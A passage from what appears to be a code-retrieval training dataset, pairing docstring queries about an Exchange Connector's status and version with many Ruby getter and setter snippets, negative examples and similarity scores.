"def status\n raise \"Status not set for #{self.inspect}\" if @status == :nil\n raise \"Not allowed status: #{@status} for #{self.inspect}\" unless ALLOWED.include?(@status)\n @status\n end",
"def get_mailbox_status\n return\n @status = @imap.status(@mailbox, [\"MESSAGES\", \"RECENT\", \"UNSEEN\"])\n log \"Mailbox status: #@status.inspect\"\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end",
"def status=(value)\n @status = value\n end"
] |
[
"0.8169675",
"0.80962175",
"0.8016841",
"0.79114133",
"0.79114133",
"0.78084016",
"0.77797014",
"0.77214074",
"0.77214074",
"0.7696865",
"0.7684165",
"0.7683428",
"0.76381135",
"0.7552464",
"0.7552464",
"0.75477564",
"0.7542809",
"0.75380236",
"0.7528273",
"0.7482252",
"0.7466555",
"0.745535",
"0.7454522",
"0.7454522",
"0.7454522",
"0.7454522",
"0.74011314",
"0.7381205",
"0.736703",
"0.73542756",
"0.73036915",
"0.72110975",
"0.71688384",
"0.7131492",
"0.712889",
"0.71113867",
"0.71113867",
"0.71062034",
"0.7087066",
"0.70719916",
"0.7047462",
"0.7042123",
"0.70219296",
"0.70180506",
"0.6983876",
"0.695541",
"0.6952049",
"0.69119126",
"0.6893799",
"0.6891749",
"0.68835795",
"0.6880011",
"0.6866184",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.6847931",
"0.684642"
] |
0.79487854
|
25
|
Sets the status property value. The current status of the Exchange Connector.
|
def status=(value)
@status = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_status(val)\n self.status = val\n self\n end",
"def status=(status)\n @_status = status\n end",
"def status=(status)\n @_status = status\n end",
"def setStatus(status)\r\n\t\t\t\t\t@status = status\r\n\t\t\t\tend",
"def set_status\n self.status = 1\n end",
"def status=(new_status)\n self.last_status = status\n\n self.setValue new_status, forKey: 'status'\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"active\", \"paused\", \"ready\", \"delivered\", \"cancelled\", \"reverted\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for 'status', must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def set_status\n self.status = Status.find_by(code: \"OPEN\")\n end",
"def status=(status)\n raise ArgumentError unless status.is_a?(Status)\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"not_activated\", \"done\", \"in_progress\", \"error\", \"paused\", \"stopped_by_system\", \"in_queue\", \"finished_with_warnings\", \"calculating\", \"stopped_by_user\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def status=(status); end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"ACTIVE\", \"INVOICED\", \"LOCKED\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"Active\", \"ActiveUnderContract (Backup-Offer)\", \"Pending\", \"Hold\", \"Withdrawn\", \"Closed\", \"Expired\", \"Delete\", \"Incomplete\", \"ComingSoon\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for 'status', must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['pending', 'active', 'inactive'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"ACTIVE\", \"INACTIVE\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for 'status', must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def status_enum=(status)\n write_attribute(:status, status)\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['NotDefined', 'Active', 'Resolved', 'Closed'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['new', 'used', 'expired'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"waiting\", \"processing\", \"canceled\", \"failed\", \"succeeded\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for 'status', must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def set_status\n @status= {\n 'Unstarted' => 0,\n 'In Progress' => 1,\n 'Completed' => 2\n }\n end",
"def status=(new_status)\n update_values([:status] => new_status)\n end",
"def set_status!(status)\n ## FIXME_NISH Fix this.\n ## FIXED\n update(status: (status == 'true'))\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['unknown', 'archived', 'underOffer', 'sold', 'leased', 'newDevelopment', 'recentlyUpdated', 'new', 'live', 'pending'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['available', 'assigned', 'activated', 'deprecated'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['INACTIVE', 'DISABLED', 'ENABLED'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"ACTIVE\", \"EXPIRED\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def set_status(target, status)\n target.status = status\n end",
"def status=(status)\n @content[0] = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"LIVE\", \"QUARANTINED\", \"REMOVED\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for 'status', must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"Incomplete\", \"Not-Found\", \"Not-Listed\", \"Validated\", \"Not-Evaluated\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def set_Status(value)\n set_input(\"Status\", value)\n end",
"def set_Status(value)\n set_input(\"Status\", value)\n end",
"def status=(value)\n write_attribute :status, value.to_i\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['enabled', 'disabled'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def set_status\n if !draft\n self.status = STATUS[get_status]\n end\n end",
"def setStatus( status )\n\t\t\tif @options.status.include?( status )\n\t\t\t\t@data.status = status\n\t\t\t\treturn true\n\t\t\tend\n\t\t\tfalse\n\t\tend",
"def status=(status)\n if status && (status.is_a?(String) || status.is_a?(Symbol))\n @status = status.upcase.to_sym\n end\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', [\"processed\", \"rendered\"])\n unless validator.valid?(status)\n fail ArgumentError, \"invalid value for \\\"status\\\", must be one of #{validator.allowable_values}.\"\n end\n @status = status\n end",
"def change_status(object, status)\n object.update_attribute :status, status\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['q', 's', 'e', 'r', 'a', 'd', 'b', 'f', 'u', 'j', 'i', 'p', 'h'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(v)\n @status = alma_string v\n end",
"def status=(status)\n validator = EnumAttributeValidator.new('String', ['unknown', 'not-vulnerable', 'vulnerable', 'vulnerable-version', 'vulnerable-potential', 'vulnerable-with-exception-applied', 'vulnerable-version-with-exception-applied', 'vulnerable-potential-with-exception-applied'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end",
"def status=(status)\n if !status.nil? && status.to_s.length > 20\n fail ArgumentError, 'invalid value for \"status\", the character length must be smaller than or equal to 20.'\n end\n\n @status = status\n end",
"def status=(val)\n unless [nil, :frozen, :live].include?(val)\n raise ArgumentError.new(\"Status must be :frozen or :live\") \n end\n @status = val\n end",
"def status=(value)\n value = value.to_s.to_sym\n fail Deployment::InvalidArgument, \"#{self}: Invalid task status: #{value}\" unless ALLOWED_STATUSES.include? value\n status_changes_concurrency @status, value\n @status = value\n reset_forward if DEPENDENCY_CHANGING_STATUSES.include? value\n @status\n end",
"def status=(status)\n check_exists\n oldstatus = SideJob.redis.getset(\"#{redis_key}:status\", status)\n if oldstatus != status && worker_config['status_publish'] != false\n SideJob::Port.group(log: false) do\n publish({status: status})\n end\n end\n end",
"def update_status status\n @job.set({\n custom_status: status,\n pinged_at: Time.now\n })\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def update_status(new_status)\n raise ArgumentError.new\"Invalid Status\" unless new_status == :AVAILABLE || new_status == :UNAVAILABLE\n @status = new_status\n end",
"def set_status(status, status_message = '')\n return if status == Algorithm.statuses[self.status]\n self.update_attributes(status: status)\n self.update_attributes(status_message: status_message)\n self.update_attribute(:diva_id, nil) if self.status == 'review' || self.status == 'unpublished_changes'\n self.update_version if self.status == 'published'\n end",
"def update_status(status)\n @status = status\n @last_status_change = Time.now\n update_statusfile\n end",
"def mark_as(status)\n self.status = status\n self.save\n end",
"def status=(int)\n if not STATUSE.select { |k, v| v == int }\n raise Fatal::InvalidArgumentError.code(13002)\n end\n @status = int\n end",
"def set_status\n @status = Status.find(params[:id])\n end",
"def set_status( statuscode )\n\t\t\tself.log.warn \"Unknown status code %d\" unless CLOSING_STATUS_DESC.key?( statuscode )\n\t\t\tstatus_msg = \"%d %s\" % [ statuscode, CLOSING_STATUS_DESC[statuscode] ]\n\n\t\t\tself.payload.truncate( 0 )\n\t\t\tself.payload.puts( status_msg )\n\t\tend",
"def status=(val)\n if val.nil?\n delete_element('status')\n else\n replace_element_text('status', val)\n end\n end",
"def update_status(status, options={})\n send_request('update_status', normalize_options(status, options))\n end",
"def set_status\n @status ||= Status.find(params[:id])\n end",
"def set_status status\n self.update(pet_status: status)\n end",
"def status=(status)\n instance_set(:size, status)\n end",
"def set_event_status( event, status )\n event.instance_exec( namespace ) { |namespace| set_status(status, namespace) }\n end",
"def set_status(status)\n if status.kind_of?(Symbol)\n status = Merb::ControllerExceptions::STATUS_CODES[status]\n status || raise(\"Can't find a response code with that name\")\n end\n @_status = status\n end",
"def status=(value)\n if value.nil?\n write_attribute :state, nil\n else\n write_attribute :state, value.to_s\n end\n end",
"def project_status_setter(status)\n if ['Proposed', 'Suspended', 'Postponed',\n 'Cancelled', 'In progress'].include? status\n self.status = status\n save\n else\n false\n end\n end"
] |
[
"0.8200798",
"0.81794983",
"0.81794983",
"0.7898023",
"0.7736102",
"0.74658614",
"0.743635",
"0.7434354",
"0.74202317",
"0.7414956",
"0.74126625",
"0.740307",
"0.73856175",
"0.7356474",
"0.73487365",
"0.734825",
"0.73405594",
"0.73226446",
"0.7311442",
"0.73106784",
"0.7309062",
"0.7255177",
"0.7242569",
"0.72311705",
"0.7227199",
"0.72161245",
"0.7213936",
"0.7211715",
"0.72104406",
"0.7169856",
"0.7162131",
"0.7162131",
"0.711537",
"0.7102886",
"0.7085893",
"0.7037306",
"0.70239145",
"0.70222",
"0.69698894",
"0.6961795",
"0.6947969",
"0.6909888",
"0.6903817",
"0.69011486",
"0.68915284",
"0.68375427",
"0.6814683",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6798607",
"0.6780889",
"0.6734715",
"0.6703106",
"0.670239",
"0.66980267",
"0.66927457",
"0.6691838",
"0.6688422",
"0.668581",
"0.6651629",
"0.6649342",
"0.66394705",
"0.66125274",
"0.6598605",
"0.65947163",
"0.658359"
] |
0.8044673
|
25
|
Gets the version property value. The version of the ExchangeConnectorAgent
|
def version
return @version
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def version\n version_property ? version_property.ruby_value : nil\n end",
"def version\n @version ||= ExchangeVersion.valueOf(\"Exchange#{self.config['version'].upcase}\")\n end",
"def version\n read_property 'Version'\n end",
"def version_number\n @version\n end",
"def version\n fetch('vehicle.version')\n end",
"def version_number\n return @version_number\n end",
"def getVersion\r\n\t\t\t\t\treturn @version\r\n\t\t\t\tend",
"def version\n @version_obj ||= fetcher.get(Fastly::Version, service_id, version_number)\n end",
"def version\n @version_obj ||= fetcher.get(Fastly::Version, service_id, version_number)\n end",
"def version\n @version\n end",
"def get_version\n request('getVersion')\n end",
"def version\n endpoint.config.version\n end",
"def version_property\n @version_property ||= RiCal::PropertyValue::Text.convert(self, \"2.0\")\n end",
"def ver\n @values['ver']\n end",
"def version\n @version ||= __determine_version\n end",
"def version\n @version || 0\n end",
"def version\n self[:version]\n end",
"def version\n @__version\n end",
"def version\n @ole.Version\n end",
"def engine_version\n\t\tAgent.engine_version_for_agent string\n\tend",
"def engine_version\n endpoint.engine_version\n end",
"def version(sender)\n v = ::Vdoc2Org::VERSION\n puts \"version: #{v}\"\n v\n end",
"def version(version = nil)\n @version = version if version\n @version\n end",
"def version\n @version ||= @doc.at('/document/@SSLyzeVersion').value.split(' ',2).last\n end",
"def version\n resolved_version\n end",
"def version\n options['version']\n end",
"def version\n @version ||= exec('SHOW server_version')[0]['server_version'].split[0]\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version=(value)\n @version = value\n end",
"def version\n @attributes[:version]\n end",
"def version\n @attributes[:version]\n end",
"def version\n v = @properties['VERSION']\n\n unless v\n raise InvalidEncodingError, \"Invalid calendar, no version field!\"\n end\n\n v = v.to_f * 10\n v = v.to_i\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n attributes.fetch(:version)\n end",
"def version\n return @discovery_document['version']\n end",
"def version\n return last_version if versionable?\n version_number\n end",
"def version\n @version ||= create_version\n end",
"def version\n @context[:version]\n end",
"def protocol_version\n @protocol_version\n end",
"def version\n @gemspec.version || @version_helper.to_s\n end",
"def version\n @version ||= data.version\n end",
"def version\n VERSION\n end",
"def client_version\n ClientVersion\n end",
"def version\n send_command(:getinfo, 'version')\n reply = read_reply.split('=').last\n read_reply # skip \"250 OK\"\n reply\n end",
"def current_version\n @version\n end",
"def version\n self.class.get(\"/get/version\")\n end",
"def engine_version\n data[:engine_version]\n end",
"def engine_version\n data[:engine_version]\n end",
"def version\n get_scm_data if @_version.nil?\n @_version\n end",
"def ddl_version(agent)\n ddl = agent_ddl(agent)\n ddl.meta[:version]\n end",
"def version\n v = KJess::Request::Version.new\n r = send_recv( v )\n return r.version if Response::Version === r\n raise KJess::Error, \"Unexpected Response from VERSION command\"\n end",
"def client_protocol_version\n match = @automation_client << VERSION_CONSTANT_NAME >> /\\d*/\n version = match[0].to_i\n return version\n end",
"def api_version\n @version\n end",
"def version(value = nil)\n if value.nil?\n @version\n else\n @version = value\n end\n end",
"def version\n\t\treturn @version ||= self.find_version\n\tend",
"def application_version\n return @application_version\n end",
"def application_version\n return @application_version\n end",
"def application_version\n read('application_version')\n end",
"def version\n ret = @client.call('Bugzilla.version')\n handle_faults(ret)\n ret['version']\n end",
"def get_server_version\n server_info[:server_version]\n end",
"def version\n @version ||= version_hex.to_s(16).chars.entries.join('.')\n end",
"def version\n self.class.version\n end",
"def app_version\n return @app_version\n end",
"def app_version\n return @app_version\n end",
"def version\n VERSION\n end",
"def version\n @version ||= File.read(path('version.txt')).strip\n end",
"def version\n response = get('/getVersion', {}, false)\n ApiVersion.new(response.body['version'], response.body['builddate'])\n end",
"def ver\n @values.fetch('ver') { \n @values['ver'] = 1\n }\n end",
"def version\n api_execute('/version', :get).body\n end",
"def ssl_version\n @agent.ssl_version\n end",
"def version\n VersionInfo.new(command(\"Browser.getVersion\"))\n end",
"def http_version\n @parser.http_version\n end",
"def version\n echo_rosh_command\n\n @version ||= adapter.current_version\n end",
"def version\n @version.dup\n end",
"def version\n @version.dup\n end",
"def version_number\n @version ||= nil\n end",
"def version_id\n return @version_id\n end",
"def version\n (version_from_class.to_f / 10).to_s\n end",
"def version\n @spec.version\n end",
"def version\n @version ||= config(\"version\", \"0.0.1\")\n end",
"def version\n @version_helper.to_s\n end",
"def version\n @version_helper.to_s\n end"
] |
[
"0.73818445",
"0.73678887",
"0.7155018",
"0.7141813",
"0.708529",
"0.7011522",
"0.6986342",
"0.68738574",
"0.68738574",
"0.6842649",
"0.68284804",
"0.682711",
"0.6820512",
"0.6785588",
"0.67834103",
"0.67807394",
"0.67694116",
"0.6766478",
"0.6742956",
"0.66871566",
"0.6685588",
"0.668418",
"0.66573954",
"0.6546089",
"0.65294856",
"0.64971954",
"0.64920276",
"0.64682645",
"0.64682645",
"0.64682645",
"0.64682645",
"0.64682645",
"0.64682645",
"0.64682645",
"0.64682645",
"0.64682645",
"0.64668965",
"0.64668965",
"0.6464224",
"0.6459335",
"0.6459335",
"0.6459335",
"0.6459335",
"0.6459335",
"0.6453438",
"0.6449977",
"0.64470345",
"0.6445615",
"0.644533",
"0.6419929",
"0.64156836",
"0.64026785",
"0.63995004",
"0.6396726",
"0.6396704",
"0.6395453",
"0.6391925",
"0.6391925",
"0.6391615",
"0.63875836",
"0.63859296",
"0.6377367",
"0.6374654",
"0.6374508",
"0.636734",
"0.636156",
"0.636156",
"0.63553846",
"0.63373905",
"0.6336822",
"0.633325",
"0.63332415",
"0.6332557",
"0.6332557",
"0.6330089",
"0.6328398",
"0.6317604",
"0.63137114",
"0.6304235",
"0.62910247",
"0.62875044",
"0.6273266",
"0.627258",
"0.62684965",
"0.62684965",
"0.6267507",
"0.6264864",
"0.6253019",
"0.6243025",
"0.623265",
"0.622855",
"0.622855"
] |
0.699925
|
13
|
Sets the version property value. The version of the ExchangeConnectorAgent
|
def version=(value)
@version = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def version=(version)\n @version = version\n end",
"def version=(v)\n @version = v\n end",
"def setVersion(version)\r\n\t\t\t\t\t@version = version\r\n\t\t\t\tend",
"def set(new_version)\n self.version = new_version\n end",
"def version=(version)\n mutate_config(:version) { version.dup }\n end",
"def version=(arg)\n @version = arg.to_s\n end",
"def version=(version) # :nodoc:\n @fields['version'] = version.to_s\n end",
"def version_number=(value)\n @version_number = value\n end",
"def ver=(value)\n @values['ver'] = value\n end",
"def version=(value)\n @children['version'][:value] = value\n end",
"def version=(value)\n @children['version'][:value] = value\n end",
"def sslversion=(value)\n Curl.set_option(:sslversion, value_for(value, :enum, :sslversion), handle)\n end",
"def ver=(value)\n if value == @defaults['ver']\n @values.delete 'ver' if @values.key? 'ver'\n else\n @values['ver'] = value\n end\n end",
"def version(version = nil)\n @version = version if version\n @version\n end",
"def ver=(value)\n if value == @defaults['ai.application.ver']\n @values.delete 'ai.application.ver' if @values.key? 'ai.application.ver'\n else\n @values['ai.application.ver'] = value\n end\n end",
"def app_version=(value)\n @app_version = value\n end",
"def app_version=(value)\n @app_version = value\n end",
"def http_version=(value)\n Curl.set_option(:http_version, value_for(value, :enum, :http_version), handle)\n end",
"def application_version=(value)\n @application_version = value\n end",
"def application_version=(value)\n @application_version = value\n end",
"def gem_version=(version)\n @gem_version = version\n end",
"def version(version)\n @@version = version\n end",
"def soap_version=(version)\n raise ArgumentError, \"Invalid SOAP version: #{version}\" unless SOAP::Versions.include? version\n @version = version\n end",
"def openurl_ver=(ver)\n @openurl_ver = ver\n @admin[\"ctx_ver\"][\"value\"] = ver\n end",
"def version(ver)\n Runner.instance.version = ver\n end",
"def set_version\n if @properties\n @properties.each{|p| p.extend(version_module)}\n else\n @property.extend(version_module)\n end\n end",
"def version(value = nil)\n if value.nil?\n @version\n else\n @version = value\n end\n end",
"def db_version=(version)\n Neo4j::Transaction.run do\n migration_meta_node[:_db_version] = version\n end\n end",
"def version=(version)\n case version\n when VersionNumber\n @version = version\n when Hash\n major = version['major']\n minor = version['minor']\n patch = version['patch']\n build = version['build']\n\n @version = VersionNumber.new(major,minor,patch,build)\n when String\n @version = VersionNumber.parse(version.to_s)\n else\n raise(InvalidMetadata,\"version must be a Hash or a String\")\n end\n end",
"def default_version=(v)\n @default_version = v\n end",
"def ssl_version= ssl_version\n @agent.ssl_version = ssl_version\n end",
"def identity_version=(value)\n @identity_version = value\n end",
"def accepted_version=(value)\n @accepted_version = value\n end",
"def version\n @version ||= ExchangeVersion.valueOf(\"Exchange#{self.config['version'].upcase}\")\n end",
"def set_version(override_version=nil)\n versioned_request = VersionCake::VersionedRequest.new(request, override_version)\n @requested_version = versioned_request.extracted_version\n @derived_version = versioned_request.version\n @is_latest_version = versioned_request.is_latest_version?\n if !versioned_request.is_version_supported?\n raise UnsupportedVersionError.new('Unsupported version error')\n end\n @_lookup_context.versions = versioned_request.supported_versions\n end",
"def version_id=(value)\n @version_id = value\n end",
"def requested_access_token_version=(value)\n @requested_access_token_version = value\n end",
"def set_version\n self.version ||= latest_version + 1\n end",
"def ver\n @values.fetch('ver') { \n @values['ver'] = 1\n }\n end",
"def assign_specification_version(specification:)\n specification.version = value\n self\n end",
"def version=(version)\n swap(\n @config,\n /\\$config\\['app_version'\\] = '.*?';/i,\n \"$config['app_version'] = '#{version}';\"\n )\n end",
"def version=(version)\n @version = Gem::Version.create(version)\n # skip to set required_ruby_version when pre-released rubygems.\n # It caused to raise CircularDependencyError\n if @version.prerelease? && (@name.nil? || @name.strip != \"rubygems\")\n self.required_rubygems_version = '> 1.3.1'\n end\n invalidate_memoized_attributes\n\n return @version\n end",
"def configuration_version=(value)\n @configuration_version = value\n end",
"def version_property\n @version_property ||= RiCal::PropertyValue::Text.convert(self, \"2.0\")\n end",
"def set_version(value)\n if value.nil?\n @version = 'latest'\n else\n return skip_resource 'Invalid character in version' unless value.to_s =~ /^(latest|[\\d\\.-]+)$/\n @version = value\n end\n end",
"def version(str)\n @version = str\n end",
"def version_number\n @version\n end",
"def version\n version_property ? version_property.ruby_value : nil\n end",
"def major_version=(val)\n self.major_number = val\n end",
"def ssl_version=(version)\n unless SSL_VERSIONS.include? version\n raise ArgumentError, \"Invalid SSL version #{version.inspect}\\n\" +\n \"Please specify one of #{SSL_VERSIONS.inspect}\"\n end\n\n @ssl_version = version\n end",
"def set_version(version)\n file_sub(GEMSPEC, /(\\.version\\s*=\\s*).*/, \"\\\\1'#{version}'\")\n file_sub(VERSION_RB, /^(\\s*VERSION\\s*=\\s*).*/, \"\\\\1'#{version}'\")\nend",
"def os_ver=(value)\n if value == @defaults['osVer']\n @values.delete 'osVer' if @values.key? 'osVer'\n else\n @values['osVer'] = value\n end\n end",
"def set_version\n @version = Version.find(params[:id])\n end",
"def set_version revision\n # this call is idempotent for a given kudu run\n return if version_updated\n if /\\d+\\.\\d+\\.\\d+/ =~ revision\n self.version = revision\n else\n major_minor_file = File.join(directory, 'MAJOR_MINOR_VER')\n major_minor = File.exist?(major_minor_file) ? IO.read(major_minor_file) : '1.0'\n self.version = major_minor + \".\" + revision\n end\n ver_file = File.join(directory, 'VERSION')\n IO.write(ver_file, self.version)\n end",
"def version\n @version ||= __determine_version\n end",
"def set_cookbook_version(version)\n return unless get_cookbook_version() != version\n contents = ''\n cookbook_path = get_cookbook_path(@cookbook_name)\n File.foreach(\"#{cookbook_path}/metadata.rb\") do |line|\n line.gsub!(/(version[\\t\\s]+)(.*)/i,\"\\\\1 \\\"#{version}\\\"\\n\")\n contents = contents << line\n end\n File.open(\"#{cookbook_path}/metadata.rb\", 'w') {|f| f.write(contents) }\n return true\n end",
"def __assign_version(data)\n data[self.class::VERSION_MEMBER] = self.class::VERSION_NUMBER\n end",
"def platform_version=(value)\n @platform_version = value\n end",
"def version value = nil\n return @version if value.nil?\n @version = value\n end",
"def min_version=(version)\n unless MIN_MAX_VERSIONS.include? version\n raise ArgumentError, \"Invalid SSL min_version #{version.inspect}\\n\" +\n \"Please specify one of #{MIN_MAX_VERSIONS.inspect}\"\n end\n\n @min_version = version\n end",
"def version\n @version || 0\n end",
"def management_sdk_version=(value)\n @management_sdk_version = value\n end",
"def resp_version=(resp_version)\n if resp_version.nil?\n fail ArgumentError, 'invalid value for \"resp_version\", resp_version cannot be nil.'\n end\n @resp_version = resp_version\n end",
"def set_version(version = nil)\n begin\n if (defined?(version) && not(version.nil? ))\n then\n return version\n else\n return Settings[:CURRENT_VERSION]\n end\n rescue\n return Settings[:CURRENT_VERSION]\n end\n end",
"def setVersions(versions)\r\n\t\t\t\t\t@versions = versions\r\n\t\t\t\tend",
"def enterprise_version(v)\n reset_all\n add_enterprise_versions Gem::Version.new(v)\n end",
"def app_version=(v)\n Axlsx.validate_string v\n @app_version = v\n end",
"def version\n @version ||= '1.0'\n end",
"def version(sender)\n v = ::Vdoc2Org::VERSION\n puts \"version: #{v}\"\n v\n end",
"def ssl_version=(ssl_version); end",
"def ssl_version=(ssl_version); end",
"def new_version\n @version = Time.now.to_i\n end",
"def on_version(version)\n log.debug { \">> version: #{version.version}\" }\n @node.external_ips << version.to.split(\":\")[0]\n @version = version\n log.debug { \"<< verack\" }\n send_data( Protocol.verack_pkt )\n\n # sometimes other nodes don't bother to send a verack back,\n # but we can consider the handshake complete once we sent ours.\n # apparently it can happen on incoming and outgoing connections alike\n complete_handshake\n end",
"def version(version_rule)\n raise \"No version plan is defined - cannot use 'version'\" unless version_plan\n\n @version_rule = version_rule\n end",
"def app_ver=(value)\n if value == @defaults['appVer']\n @values.delete 'appVer' if @values.key? 'appVer'\n else\n @values['appVer'] = value\n end\n end",
"def feed_version=(new_feed_version)\n @feed_version = new_feed_version\n end",
"def setConverterVersion(version)\n unless /(?i)^(latest|20.10|18.10)$/.match(version)\n raise Error.new(Pdfcrowd.create_invalid_value_message(version, \"setConverterVersion\", \"pdf-to-pdf\", \"Allowed values are latest, 20.10, 18.10.\", \"set_converter_version\"), 470);\n end\n \n @helper.setConverterVersion(version)\n self\n end",
"def version s=nil; @version = s if s; @version end",
"def installed_by_version=(version) # :nodoc:\n @installed_by_version = Gem::Version.new version\n end",
"def ibooks_version(val)\n @book.ibooks_version=val\n end",
"def max_version=(version)\n unless MIN_MAX_VERSIONS.include? version\n raise ArgumentError, \"Invalid SSL max_version #{version.inspect}\\n\" +\n \"Please specify one of #{MIN_MAX_VERSIONS.inspect}\"\n end\n\n @max_version = version\n end",
"def version(arg=nil)\n arg.nil? ? @version : (@version = arg)\n end",
"def version\n @version\n end",
"def operating_system_version=(value)\n @operating_system_version = value\n end",
"def operating_system_version=(value)\n @operating_system_version = value\n end",
"def os_version=(value)\n if value == @defaults['ai.device.osVersion']\n @values.delete 'ai.device.osVersion' if @values.key? 'ai.device.osVersion'\n else\n @values['ai.device.osVersion'] = value\n end\n end",
"def ruby_version=(value)\n normalize_version(value).tap do |version|\n @ruby_version = @options['ruby_version'] = version\n @ruby_parser = parser_for_version version\n end\n end",
"def initialize(version)\n @version = version\n end",
"def version\n options['version']\n end",
"def version\n @__version\n end",
